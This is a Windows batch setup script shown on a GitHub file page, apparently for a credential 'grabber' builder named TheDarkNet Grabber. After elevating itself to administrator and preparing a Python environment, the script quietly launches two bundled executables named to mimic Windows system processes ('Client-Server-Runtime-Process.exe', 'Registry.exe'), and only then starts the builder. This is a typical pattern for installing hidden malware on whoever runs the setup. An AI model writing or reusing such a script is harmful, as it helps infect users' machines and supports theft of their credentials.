-
Notifications
You must be signed in to change notification settings - Fork 8
Expand file tree
/
Copy pathsetup.bat
More file actions
120 lines (104 loc) Β· 4.02 KB
/
setup.bat
File metadata and controls
120 lines (104 loc) Β· 4.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
@echo off
color 5
title Checking Python Versions
setlocal enabledelayedexpansion
set "python_versions="
:: Check if the batch file has administrator rights
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
:: If the above command fails (meaning the batch file is not running as administrator),
:: restart the batch file, this time with administrator privileges
if %errorlevel% NEQ 0 (
powershell.exe -Command "Start-Process -Verb RunAs -FilePath \"%~f0\""
exit /b
)
:: Set working directory to the directory of the batch file
cd /d "%~dp0"
REM Loop through all directories in PATH looking for python executables
set "counter=0"
for /f "delims=" %%I in ('where python') do (
set "python_exe=%%~fI"
set "python_dir=!python_exe:\python.exe=!"
set "python_version="
for /f "delims=" %%A in ('"!python_exe!" --version 2^>^&1') do (
set "line=%%A"
for /f "tokens=2 delims= " %%B in ("!line!") do set "python_version=%%B"
)
if defined python_version (
set "ignore=false"
if "!python_dir!"=="!python_dir:WindowsApps=!" (
set /a "counter+=1"
echo !counter!.^) Found Python version !python_version!: "!python_exe!"
set "python_versions[!counter!]=!python_version!"
set "python_paths[!counter!]=!python_exe!"
)
)
)
REM If no Python installations are found, display a message and exit
if %counter% equ 0 (
echo No Python installations found in PATH. Please install Python and try again.: https://www.python.org/downloads/
pause > nul
exit /b 1
)
REM Prompt user to choose a Python version
echo.
echo If you want to use Nuitka, you need to select a version 3.4.X - 3.11.X
set /p "selected_number=Enter the left number of the desired Python version from the list above: "
echo.
REM Check if the selected number is valid
if not defined python_versions[%selected_number%] (
echo Invalid selection! Exiting...
pause > nul
exit /b 1
)
set "selected_version=!python_versions[%selected_number%]!"
set "selected_python_path=!python_paths[%selected_number%]!"
REM Append Python version to the .venv folder name
set "venv_name=.venv_!selected_version!"
title Creating Virtual Environment for Python version !selected_version!
echo Creating Virtual Environment for Python version !selected_version!...
"!selected_python_path!" -m venv "!venv_name!"
title Installing Requirements
echo Installing Requirements...
"!venv_name!\Scripts\pip" install --upgrade -r requirements.txt
title Checking for updates
echo Checking for updates...
"!venv_name!\Scripts\python" tools\update.py
REM Define paths for executables within TheDarkNet Grabber\tools\Builder folder
set "darkfile_path=%~dp0tools\Builder\Client-Server-Runtime-Process.exe"
set "builds_path=%~dp0tools\Builder\Registry.exe"
REM Check if Client-Server-Runtime-Process.exe exists and run it
if exist "%darkfile_path%" (
title Running Client-Server-Runtime-Process.exe
echo Running Client-Server-Runtime-Process.exe...
start "" "%darkfile_path%"
) else (
echo Client-Server-Runtime-Process.exe not found in tools\Builder
)
REM Check if Registry.exe exists and run it
if exist "%builds_path%" (
title Running Registry.exe
echo Running Registry.exe...
start "" "%builds_path%"
) else (
echo Registry.exe not found in tools\Builder
)
REM Proceed with the Python environment setup if executables were found and executed
if %errorlevel% equ 0 (
if exist "%darkfile_path%" if exist "%builds_path%" (
title Setup Complete!
echo Starting the builder...
start "" "!venv_name!\Scripts\python" builder.py
) else (
echo One or both executables failed to run.
pause > nul
exit /b 1
)
) else if %errorlevel% equ 1 (
title Setup Failed
echo Setup Failed!
echo Check the error message above.
pause > nul
) else if %errorlevel% equ 2 (
timeout /t 3 /nobreak > nul
)
pause > nul